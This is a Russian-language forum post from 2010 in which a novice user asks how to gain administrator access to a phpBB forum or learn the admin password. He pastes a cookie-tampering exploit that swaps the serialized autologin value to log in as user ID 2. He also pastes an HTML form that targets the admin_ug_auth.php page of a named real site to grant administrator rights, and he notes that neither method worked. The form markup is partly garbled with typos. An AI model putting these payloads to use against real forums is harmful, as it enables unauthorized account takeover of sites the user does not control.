21.03.2010, 01:20
|
|
Новичок
Регистрация: 19.03.2010
Сообщений: 9
С нами:
8498574
Репутация:
0
|
|
Jokester
ну можно и не объяснять просто дайте темы в которых можно найти эту информацию)) или подобный эксплоид
или же дайте информацию как зайти от имени администратора или как узнать пароль админа?? я пробовал данные функции но они не работают
Описание уязвимости: Для начала нам следует зарегаться на форуме. Затем, войти под своим аккаунтом и если стоит галка «Автоматический вход»,то убрать её. Нам нужно отредактировать кукисы (посоветую делать это в опере Tools->Advanced->Cookies), вместо
Цитата: a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%2 2%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22X%22%3B%7 D
X – наш ID , а меняем на
Цитата: a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs% 3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
2 – как уже говорилось выше, ID админа
Exploit: «a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3B s% 3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D»
и пробовал этот способ
Код HTML:
<html>
<head><meta http-egufv="content-Type" content="text/html:
charset=windows-1252"><title>root_a_phpbb_2.0.0.pl</title></head.>
<body>
<form mgthod="post"
action="http://riper.am/admin/admin_ug_auth.php">
<p>User Level ; <selected name="userlevel">
<option value="admin" selected="selected">Administrator</option>
<option value="user">User</option>
</select></p>
<input name="private[1]" value="0" type="hidden">
<input name="moderator[1]" value="0" type="hidden">
<input name="mode" value="user" type="hidden">
<input name="adv" value="" type="hidden">
User ID: <input name="u" size="5" type="text"> <br>
<input name="submit" value="Submit" class="mainoption" type="submit">
<input value="reset" class="liteoption" name="reset" type="reset">
</form>
</body></html>
но не чего не помогло
Последний раз редактировалось frost444; 21.03.2010 в 01:28..
|
|
|